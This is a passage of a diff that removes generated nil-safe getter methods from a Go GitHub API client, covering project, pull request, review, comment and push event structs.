*ProjectColumnEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetOrg returns the Org field. -func (p *ProjectColumnEvent) GetOrg() *Organization { - if p == nil { - return nil - } - return p.Org -} - -// GetProjectColumn returns the ProjectColumn field. -func (p *ProjectColumnEvent) GetProjectColumn() *ProjectColumn { - if p == nil { - return nil - } - return p.ProjectColumn -} - -// GetRepo returns the Repo field. -func (p *ProjectColumnEvent) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetSender returns the Sender field. -func (p *ProjectColumnEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (p *ProjectEvent) GetAction() string { - if p == nil || p.Action == nil { - return "" - } - return *p.Action -} - -// GetChanges returns the Changes field. -func (p *ProjectEvent) GetChanges() *ProjectChange { - if p == nil { - return nil - } - return p.Changes -} - -// GetInstallation returns the Installation field. -func (p *ProjectEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetOrg returns the Org field. -func (p *ProjectEvent) GetOrg() *Organization { - if p == nil { - return nil - } - return p.Org -} - -// GetProject returns the Project field. -func (p *ProjectEvent) GetProject() *Project { - if p == nil { - return nil - } - return p.Project -} - -// GetRepo returns the Repo field. -func (p *ProjectEvent) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetSender returns the Sender field. -func (p *ProjectEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (p *ProjectOptions) GetBody() string { - if p == nil || p.Body == nil { - return "" - } - return *p.Body -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (p *ProjectOptions) GetName() string { - if p == nil || p.Name == nil { - return "" - } - return *p.Name -} - -// GetOrganizationPermission returns the OrganizationPermission field if it's non-nil, zero value otherwise. -func (p *ProjectOptions) GetOrganizationPermission() string { - if p == nil || p.OrganizationPermission == nil { - return "" - } - return *p.OrganizationPermission -} - -// GetPublic returns the Public field if it's non-nil, zero value otherwise. -func (p *ProjectOptions) GetPublic() bool { - if p == nil || p.Public == nil { - return false - } - return *p.Public -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (p *ProjectOptions) GetState() string { - if p == nil || p.State == nil { - return "" - } - return *p.State -} - -// GetPermission returns the Permission field if it's non-nil, zero value otherwise. -func (p *ProjectPermissionLevel) GetPermission() string { - if p == nil || p.Permission == nil { - return "" - } - return *p.Permission -} - -// GetUser returns the User field. -func (p *ProjectPermissionLevel) GetUser() *User { - if p == nil { - return nil - } - return p.User -} - -// GetEnforceAdmins returns the EnforceAdmins field. -func (p *Protection) GetEnforceAdmins() *AdminEnforcement { - if p == nil { - return nil - } - return p.EnforceAdmins -} - -// GetRequiredPullRequestReviews returns the RequiredPullRequestReviews field. -func (p *Protection) GetRequiredPullRequestReviews() *PullRequestReviewsEnforcement { - if p == nil { - return nil - } - return p.RequiredPullRequestReviews -} - -// GetRequiredStatusChecks returns the RequiredStatusChecks field. -func (p *Protection) GetRequiredStatusChecks() *RequiredStatusChecks { - if p == nil { - return nil - } - return p.RequiredStatusChecks -} - -// GetRestrictions returns the Restrictions field. -func (p *Protection) GetRestrictions() *BranchRestrictions { - if p == nil { - return nil - } - return p.Restrictions -} - -// GetRequiredPullRequestReviews returns the RequiredPullRequestReviews field. -func (p *ProtectionRequest) GetRequiredPullRequestReviews() *PullRequestReviewsEnforcementRequest { - if p == nil { - return nil - } - return p.RequiredPullRequestReviews -} - -// GetRequiredStatusChecks returns the RequiredStatusChecks field. -func (p *ProtectionRequest) GetRequiredStatusChecks() *RequiredStatusChecks { - if p == nil { - return nil - } - return p.RequiredStatusChecks -} - -// GetRestrictions returns the Restrictions field. -func (p *ProtectionRequest) GetRestrictions() *BranchRestrictionsRequest { - if p == nil { - return nil - } - return p.Restrictions -} - -// GetInstallation returns the Installation field. -func (p *PublicEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetRepo returns the Repo field. -func (p *PublicEvent) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetSender returns the Sender field. -func (p *PublicEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetActiveLockReason returns the ActiveLockReason field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetActiveLockReason() string { - if p == nil || p.ActiveLockReason == nil { - return "" - } - return *p.ActiveLockReason -} - -// GetAdditions returns the Additions field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetAdditions() int { - if p == nil || p.Additions == nil { - return 0 - } - return *p.Additions -} - -// GetAssignee returns the Assignee field. -func (p *PullRequest) GetAssignee() *User { - if p == nil { - return nil - } - return p.Assignee -} - -// GetAuthorAssociation returns the AuthorAssociation field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetAuthorAssociation() string { - if p == nil || p.AuthorAssociation == nil { - return "" - } - return *p.AuthorAssociation -} - -// GetBase returns the Base field. -func (p *PullRequest) GetBase() *PullRequestBranch { - if p == nil { - return nil - } - return p.Base -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetBody() string { - if p == nil || p.Body == nil { - return "" - } - return *p.Body -} - -// GetChangedFiles returns the ChangedFiles field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetChangedFiles() int { - if p == nil || p.ChangedFiles == nil { - return 0 - } - return *p.ChangedFiles -} - -// GetClosedAt returns the ClosedAt field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetClosedAt() time.Time { - if p == nil || p.ClosedAt == nil { - return time.Time{} - } - return *p.ClosedAt -} - -// GetComments returns the Comments field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetComments() int { - if p == nil || p.Comments == nil { - return 0 - } - return *p.Comments -} - -// GetCommentsURL returns the CommentsURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetCommentsURL() string { - if p == nil || p.CommentsURL == nil { - return "" - } - return *p.CommentsURL -} - -// GetCommits returns the Commits field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetCommits() int { - if p == nil || p.Commits == nil { - return 0 - } - return *p.Commits -} - -// GetCommitsURL returns the CommitsURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetCommitsURL() string { - if p == nil || p.CommitsURL == nil { - return "" - } - return *p.CommitsURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetCreatedAt() time.Time { - if p == nil || p.CreatedAt == nil { - return time.Time{} - } - return *p.CreatedAt -} - -// GetDeletions returns the Deletions field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetDeletions() int { - if p == nil || p.Deletions == nil { - return 0 - } - return *p.Deletions -} - -// GetDiffURL returns the DiffURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetDiffURL() string { - if p == nil || p.DiffURL == nil { - return "" - } - return *p.DiffURL -} - -// GetDraft returns the Draft field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetDraft() bool { - if p == nil || p.Draft == nil { - return false - } - return *p.Draft -} - -// GetHead returns the Head field. -func (p *PullRequest) GetHead() *PullRequestBranch { - if p == nil { - return nil - } - return p.Head -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetHTMLURL() string { - if p == nil || p.HTMLURL == nil { - return "" - } - return *p.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetIssueURL returns the IssueURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetIssueURL() string { - if p == nil || p.IssueURL == nil { - return "" - } - return *p.IssueURL -} - -// GetLinks returns the Links field. -func (p *PullRequest) GetLinks() *PRLinks { - if p == nil { - return nil - } - return p.Links -} - -// GetLocked returns the Locked field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetLocked() bool { - if p == nil || p.Locked == nil { - return false - } - return *p.Locked -} - -// GetMaintainerCanModify returns the MaintainerCanModify field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetMaintainerCanModify() bool { - if p == nil || p.MaintainerCanModify == nil { - return false - } - return *p.MaintainerCanModify -} - -// GetMergeable returns the Mergeable field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetMergeable() bool { - if p == nil || p.Mergeable == nil { - return false - } - return *p.Mergeable -} - -// GetMergeableState returns the MergeableState field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetMergeableState() string { - if p == nil || p.MergeableState == nil { - return "" - } - return *p.MergeableState -} - -// GetMergeCommitSHA returns the MergeCommitSHA field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetMergeCommitSHA() string { - if p == nil || p.MergeCommitSHA == nil { - return "" - } - return *p.MergeCommitSHA -} - -// GetMerged returns the Merged field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetMerged() bool { - if p == nil || p.Merged == nil { - return false - } - return *p.Merged -} - -// GetMergedAt returns the MergedAt field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetMergedAt() time.Time { - if p == nil || p.MergedAt == nil { - return time.Time{} - } - return *p.MergedAt -} - -// GetMergedBy returns the MergedBy field. -func (p *PullRequest) GetMergedBy() *User { - if p == nil { - return nil - } - return p.MergedBy -} - -// GetMilestone returns the Milestone field. -func (p *PullRequest) GetMilestone() *Milestone { - if p == nil { - return nil - } - return p.Milestone -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetNodeID() string { - if p == nil || p.NodeID == nil { - return "" - } - return *p.NodeID -} - -// GetNumber returns the Number field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetNumber() int { - if p == nil || p.Number == nil { - return 0 - } - return *p.Number -} - -// GetPatchURL returns the PatchURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetPatchURL() string { - if p == nil || p.PatchURL == nil { - return "" - } - return *p.PatchURL -} - -// GetRebaseable returns the Rebaseable field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetRebaseable() bool { - if p == nil || p.Rebaseable == nil { - return false - } - return *p.Rebaseable -} - -// GetReviewComments returns the ReviewComments field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetReviewComments() int { - if p == nil || p.ReviewComments == nil { - return 0 - } - return *p.ReviewComments -} - -// GetReviewCommentsURL returns the ReviewCommentsURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetReviewCommentsURL() string { - if p == nil || p.ReviewCommentsURL == nil { - return "" - } - return *p.ReviewCommentsURL -} - -// GetReviewCommentURL returns the ReviewCommentURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetReviewCommentURL() string { - if p == nil || p.ReviewCommentURL == nil { - return "" - } - return *p.ReviewCommentURL -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetState() string { - if p == nil || p.State == nil { - return "" - } - return *p.State -} - -// GetStatusesURL returns the StatusesURL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetStatusesURL() string { - if p == nil || p.StatusesURL == nil { - return "" - } - return *p.StatusesURL -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetTitle() string { - if p == nil || p.Title == nil { - return "" - } - return *p.Title -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetUpdatedAt() time.Time { - if p == nil || p.UpdatedAt == nil { - return time.Time{} - } - return *p.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *PullRequest) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetUser returns the User field. -func (p *PullRequest) GetUser() *User { - if p == nil { - return nil - } - return p.User -} - -// GetLabel returns the Label field if it's non-nil, zero value otherwise. -func (p *PullRequestBranch) GetLabel() string { - if p == nil || p.Label == nil { - return "" - } - return *p.Label -} - -// GetRef returns the Ref field if it's non-nil, zero value otherwise. -func (p *PullRequestBranch) GetRef() string { - if p == nil || p.Ref == nil { - return "" - } - return *p.Ref -} - -// GetRepo returns the Repo field. -func (p *PullRequestBranch) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (p *PullRequestBranch) GetSHA() string { - if p == nil || p.SHA == nil { - return "" - } - return *p.SHA -} - -// GetUser returns the User field. -func (p *PullRequestBranch) GetUser() *User { - if p == nil { - return nil - } - return p.User -} - -// GetExpectedHeadSHA returns the ExpectedHeadSHA field if it's non-nil, zero value otherwise. -func (p *PullRequestBranchUpdateOptions) GetExpectedHeadSHA() string { - if p == nil || p.ExpectedHeadSHA == nil { - return "" - } - return *p.ExpectedHeadSHA -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (p *PullRequestBranchUpdateResponse) GetMessage() string { - if p == nil || p.Message == nil { - return "" - } - return *p.Message -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *PullRequestBranchUpdateResponse) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetAuthorAssociation returns the AuthorAssociation field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetAuthorAssociation() string { - if p == nil || p.AuthorAssociation == nil { - return "" - } - return *p.AuthorAssociation -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetBody() string { - if p == nil || p.Body == nil { - return "" - } - return *p.Body -} - -// GetCommitID returns the CommitID field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetCommitID() string { - if p == nil || p.CommitID == nil { - return "" - } - return *p.CommitID -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetCreatedAt() time.Time { - if p == nil || p.CreatedAt == nil { - return time.Time{} - } - return *p.CreatedAt -} - -// GetDiffHunk returns the DiffHunk field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetDiffHunk() string { - if p == nil || p.DiffHunk == nil { - return "" - } - return *p.DiffHunk -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetHTMLURL() string { - if p == nil || p.HTMLURL == nil { - return "" - } - return *p.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetInReplyTo returns the InReplyTo field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetInReplyTo() int64 { - if p == nil || p.InReplyTo == nil { - return 0 - } - return *p.InReplyTo -} - -// GetLine returns the Line field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetLine() int { - if p == nil || p.Line == nil { - return 0 - } - return *p.Line -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetNodeID() string { - if p == nil || p.NodeID == nil { - return "" - } - return *p.NodeID -} - -// GetOriginalCommitID returns the OriginalCommitID field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetOriginalCommitID() string { - if p == nil || p.OriginalCommitID == nil { - return "" - } - return *p.OriginalCommitID -} - -// GetOriginalLine returns the OriginalLine field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetOriginalLine() int { - if p == nil || p.OriginalLine == nil { - return 0 - } - return *p.OriginalLine -} - -// GetOriginalPosition returns the OriginalPosition field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetOriginalPosition() int { - if p == nil || p.OriginalPosition == nil { - return 0 - } - return *p.OriginalPosition -} - -// GetOriginalStartLine returns the OriginalStartLine field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetOriginalStartLine() int { - if p == nil || p.OriginalStartLine == nil { - return 0 - } - return *p.OriginalStartLine -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetPath() string { - if p == nil || p.Path == nil { - return "" - } - return *p.Path -} - -// GetPosition returns the Position field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetPosition() int { - if p == nil || p.Position == nil { - return 0 - } - return *p.Position -} - -// GetPullRequestReviewID returns the PullRequestReviewID field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetPullRequestReviewID() int64 { - if p == nil || p.PullRequestReviewID == nil { - return 0 - } - return *p.PullRequestReviewID -} - -// GetPullRequestURL returns the PullRequestURL field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetPullRequestURL() string { - if p == nil || p.PullRequestURL == nil { - return "" - } - return *p.PullRequestURL -} - -// GetReactions returns the Reactions field. -func (p *PullRequestComment) GetReactions() *Reactions { - if p == nil { - return nil - } - return p.Reactions -} - -// GetSide returns the Side field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetSide() string { - if p == nil || p.Side == nil { - return "" - } - return *p.Side -} - -// GetStartLine returns the StartLine field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetStartLine() int { - if p == nil || p.StartLine == nil { - return 0 - } - return *p.StartLine -} - -// GetStartSide returns the StartSide field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetStartSide() string { - if p == nil || p.StartSide == nil { - return "" - } - return *p.StartSide -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetUpdatedAt() time.Time { - if p == nil || p.UpdatedAt == nil { - return time.Time{} - } - return *p.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetUser returns the User field. -func (p *PullRequestComment) GetUser() *User { - if p == nil { - return nil - } - return p.User -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (p *PullRequestEvent) GetAction() string { - if p == nil || p.Action == nil { - return "" - } - return *p.Action -} - -// GetAssignee returns the Assignee field. -func (p *PullRequestEvent) GetAssignee() *User { - if p == nil { - return nil - } - return p.Assignee -} - -// GetChanges returns the Changes field. -func (p *PullRequestEvent) GetChanges() *EditChange { - if p == nil { - return nil - } - return p.Changes -} - -// GetInstallation returns the Installation field. -func (p *PullRequestEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetLabel returns the Label field. -func (p *PullRequestEvent) GetLabel() *Label { - if p == nil { - return nil - } - return p.Label -} - -// GetNumber returns the Number field if it's non-nil, zero value otherwise. -func (p *PullRequestEvent) GetNumber() int { - if p == nil || p.Number == nil { - return 0 - } - return *p.Number -} - -// GetOrganization returns the Organization field. -func (p *PullRequestEvent) GetOrganization() *Organization { - if p == nil { - return nil - } - return p.Organization -} - -// GetPullRequest returns the PullRequest field. -func (p *PullRequestEvent) GetPullRequest() *PullRequest { - if p == nil { - return nil - } - return p.PullRequest -} - -// GetRepo returns the Repo field. -func (p *PullRequestEvent) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetRequestedReviewer returns the RequestedReviewer field. -func (p *PullRequestEvent) GetRequestedReviewer() *User { - if p == nil { - return nil - } - return p.RequestedReviewer -} - -// GetRequestedTeam returns the RequestedTeam field. -func (p *PullRequestEvent) GetRequestedTeam() *Team { - if p == nil { - return nil - } - return p.RequestedTeam -} - -// GetSender returns the Sender field. -func (p *PullRequestEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetDiffURL returns the DiffURL field if it's non-nil, zero value otherwise. -func (p *PullRequestLinks) GetDiffURL() string { - if p == nil || p.DiffURL == nil { - return "" - } - return *p.DiffURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (p *PullRequestLinks) GetHTMLURL() string { - if p == nil || p.HTMLURL == nil { - return "" - } - return *p.HTMLURL -} - -// GetPatchURL returns the PatchURL field if it's non-nil, zero value otherwise. -func (p *PullRequestLinks) GetPatchURL() string { - if p == nil || p.PatchURL == nil { - return "" - } - return *p.PatchURL -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *PullRequestLinks) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetMerged returns the Merged field if it's non-nil, zero value otherwise. -func (p *PullRequestMergeResult) GetMerged() bool { - if p == nil || p.Merged == nil { - return false - } - return *p.Merged -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (p *PullRequestMergeResult) GetMessage() string { - if p == nil || p.Message == nil { - return "" - } - return *p.Message -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (p *PullRequestMergeResult) GetSHA() string { - if p == nil || p.SHA == nil { - return "" - } - return *p.SHA -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (p *PullRequestReview) GetBody() string { - if p == nil || p.Body == nil { - return "" - } - return *p.Body -} - -// GetCommitID returns the CommitID field if it's non-nil, zero value otherwise. -func (p *PullRequestReview) GetCommitID() string { - if p == nil || p.CommitID == nil { - return "" - } - return *p.CommitID -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (p *PullRequestReview) GetHTMLURL() string { - if p == nil || p.HTMLURL == nil { - return "" - } - return *p.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *PullRequestReview) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (p *PullRequestReview) GetNodeID() string { - if p == nil || p.NodeID == nil { - return "" - } - return *p.NodeID -} - -// GetPullRequestURL returns the PullRequestURL field if it's non-nil, zero value otherwise. -func (p *PullRequestReview) GetPullRequestURL() string { - if p == nil || p.PullRequestURL == nil { - return "" - } - return *p.PullRequestURL -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (p *PullRequestReview) GetState() string { - if p == nil || p.State == nil { - return "" - } - return *p.State -} - -// GetSubmittedAt returns the SubmittedAt field if it's non-nil, zero value otherwise. -func (p *PullRequestReview) GetSubmittedAt() time.Time { - if p == nil || p.SubmittedAt == nil { - return time.Time{} - } - return *p.SubmittedAt -} - -// GetUser returns the User field. -func (p *PullRequestReview) GetUser() *User { - if p == nil { - return nil - } - return p.User -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (p *PullRequestReviewCommentEvent) GetAction() string { - if p == nil || p.Action == nil { - return "" - } - return *p.Action -} - -// GetChanges returns the Changes field. -func (p *PullRequestReviewCommentEvent) GetChanges() *EditChange { - if p == nil { - return nil - } - return p.Changes -} - -// GetComment returns the Comment field. -func (p *PullRequestReviewCommentEvent) GetComment() *PullRequestComment { - if p == nil { - return nil - } - return p.Comment -} - -// GetInstallation returns the Installation field. -func (p *PullRequestReviewCommentEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetPullRequest returns the PullRequest field. -func (p *PullRequestReviewCommentEvent) GetPullRequest() *PullRequest { - if p == nil { - return nil - } - return p.PullRequest -} - -// GetRepo returns the Repo field. -func (p *PullRequestReviewCommentEvent) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetSender returns the Sender field. -func (p *PullRequestReviewCommentEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (p *PullRequestReviewDismissalRequest) GetMessage() string { - if p == nil || p.Message == nil { - return "" - } - return *p.Message -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (p *PullRequestReviewEvent) GetAction() string { - if p == nil || p.Action == nil { - return "" - } - return *p.Action -} - -// GetInstallation returns the Installation field. -func (p *PullRequestReviewEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetOrganization returns the Organization field. -func (p *PullRequestReviewEvent) GetOrganization() *Organization { - if p == nil { - return nil - } - return p.Organization -} - -// GetPullRequest returns the PullRequest field. -func (p *PullRequestReviewEvent) GetPullRequest() *PullRequest { - if p == nil { - return nil - } - return p.PullRequest -} - -// GetRepo returns the Repo field. -func (p *PullRequestReviewEvent) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetReview returns the Review field. -func (p *PullRequestReviewEvent) GetReview() *PullRequestReview { - if p == nil { - return nil - } - return p.Review -} - -// GetSender returns the Sender field. -func (p *PullRequestReviewEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (p *PullRequestReviewRequest) GetBody() string { - if p == nil || p.Body == nil { - return "" - } - return *p.Body -} - -// GetCommitID returns the CommitID field if it's non-nil, zero value otherwise. -func (p *PullRequestReviewRequest) GetCommitID() string { - if p == nil || p.CommitID == nil { - return "" - } - return *p.CommitID -} - -// GetEvent returns the Event field if it's non-nil, zero value otherwise. -func (p *PullRequestReviewRequest) GetEvent() string { - if p == nil || p.Event == nil { - return "" - } - return *p.Event -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (p *PullRequestReviewRequest) GetNodeID() string { - if p == nil || p.NodeID == nil { - return "" - } - return *p.NodeID -} - -// GetDismissalRestrictions returns the DismissalRestrictions field. -func (p *PullRequestReviewsEnforcement) GetDismissalRestrictions() *DismissalRestrictions { - if p == nil { - return nil - } - return p.DismissalRestrictions -} - -// GetDismissalRestrictionsRequest returns the DismissalRestrictionsRequest field. -func (p *PullRequestReviewsEnforcementRequest) GetDismissalRestrictionsRequest() *DismissalRestrictionsRequest { - if p == nil { - return nil - } - return p.DismissalRestrictionsRequest -} - -// GetDismissalRestrictionsRequest returns the DismissalRestrictionsRequest field. -func (p *PullRequestReviewsEnforcementUpdate) GetDismissalRestrictionsRequest() *DismissalRestrictionsRequest { - if p == nil { - return nil - } - return p.DismissalRestrictionsRequest -} - -// GetDismissStaleReviews returns the DismissStaleReviews field if it's non-nil, zero value otherwise. -func (p *PullRequestReviewsEnforcementUpdate) GetDismissStaleReviews() bool { - if p == nil || p.DismissStaleReviews == nil { - return false - } - return *p.DismissStaleReviews -} - -// GetMergablePulls returns the MergablePulls field if it's non-nil, zero value otherwise. -func (p *PullStats) GetMergablePulls() int { - if p == nil || p.MergablePulls == nil { - return 0 - } - return *p.MergablePulls -} - -// GetMergedPulls returns the MergedPulls field if it's non-nil, zero value otherwise. -func (p *PullStats) GetMergedPulls() int { - if p == nil || p.MergedPulls == nil { - return 0 - } - return *p.MergedPulls -} - -// GetTotalPulls returns the TotalPulls field if it's non-nil, zero value otherwise. -func (p *PullStats) GetTotalPulls() int { - if p == nil || p.TotalPulls == nil { - return 0 - } - return *p.TotalPulls -} - -// GetUnmergablePulls returns the UnmergablePulls field if it's non-nil, zero value otherwise. -func (p *PullStats) GetUnmergablePulls() int { - if p == nil || p.UnmergablePulls == nil { - return 0 - } - return *p.UnmergablePulls -} - -// GetCommits returns the Commits field if it's non-nil, zero value otherwise. -func (p *PunchCard) GetCommits() int { - if p == nil || p.Commits == nil { - return 0 - } - return *p.Commits -} - -// GetDay returns the Day field if it's non-nil, zero value otherwise. -func (p *PunchCard) GetDay() int { - if p == nil || p.Day == nil { - return 0 - } - return *p.Day -} - -// GetHour returns the Hour field if it's non-nil, zero value otherwise. -func (p *PunchCard) GetHour() int { - if p == nil || p.Hour == nil { - return 0 - } - return *p.Hour -} - -// GetAfter returns the After field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetAfter() string { - if p == nil || p.After == nil { - return "" - } - return *p.After -} - -// GetBaseRef returns the BaseRef field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetBaseRef() string { - if p == nil || p.BaseRef == nil { - return "" - } - return *p.BaseRef -} - -// GetBefore returns the Before field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetBefore() string { - if p == nil || p.Before == nil { - return "" - } - return *p.Before -} - -// GetCompare returns the Compare field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetCompare() string { - if p == nil || p.Compare == nil { - return "" - } - return *p.Compare -} - -// GetCreated returns the Created field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetCreated() bool { - if p == nil || p.Created == nil { - return false - } - return *p.Created -} - -// GetDeleted returns the Deleted field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetDeleted() bool { - if p == nil || p.Deleted == nil { - return false - } - return *p.Deleted -} - -// GetDistinctSize returns the DistinctSize field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetDistinctSize() int { - if p == nil || p.DistinctSize == nil { - return 0 - } - return *p.DistinctSize -} - -// GetForced returns the Forced field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetForced() bool { - if p == nil || p.Forced == nil { - return false - } - return *p.Forced -} - -// GetHead returns the Head field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetHead() string { - if p == nil || p.Head == nil { - return "" - } - return *p.Head -} - -// GetHeadCommit returns the HeadCommit field. -func (p *PushEvent) GetHeadCommit() *PushEventCommit { - if p == nil { - return nil - } - return p.HeadCommit -} - -// GetInstallation returns the Installation field. -func (p *PushEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetPusher returns the Pusher field. -func (p *PushEvent) GetPusher() *User { - if p == nil { - return nil - } - return p.Pusher -} - -// GetPushID returns the PushID field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetPushID() int64 { - if p == nil || p.PushID == nil { - return 0 - } - return *p.PushID -} - -// GetRef returns the Ref field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetRef() string { - if p == nil || p.Ref == nil { - return "" - } - return *p.Ref -} - -// GetRepo returns the Repo field. -func (p *PushEvent) GetRepo() *PushEventRepository { - if p == nil { - return nil - } - return p.Repo -} - -// GetSender returns the Sender field. -func (p *PushEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetSize() int { - if p == nil || p.Size == nil { - return 0 